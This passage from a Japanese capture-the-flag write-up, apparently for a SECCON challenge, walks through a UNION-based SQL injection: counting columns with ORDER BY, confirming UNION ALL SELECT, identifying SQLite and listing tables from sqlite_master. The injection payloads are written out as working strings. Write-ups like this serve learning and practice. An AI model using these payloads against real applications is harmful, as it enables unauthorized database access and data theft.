5. やったこと
もうやることはインジェクションでデータぶっこ抜くしかないよねって
ことで、早速夢が広がるUNION SELECTを使うことにする。
カラム数の特定
order byかまして6だとエラーになったので、select文のカラム数は5と特定
' order by 6;--
UNION SELECTを実行
とりあえずUNION SELECTできることを確認
' UNION ALL SELECT null,null,null,null,null;--
DBの特定
以下のSQL文が通ったのでデータベースが「SQLLite」だと特定
' UNION ALL SELECT null,null,null,null,null FROM sqlite_master;--
テーブル名の一覧を取得
UNION SELECTで「sqlite_master」テーブルからテーブル名をGET!
' UNION ALL SELECT null,name,null,null,null FROM sqlite_master order by name;--
このDBでは以下のテーブルが存在していることがわかった
SECCON
COMPANY
sqlite_autoindex_COMPANY_1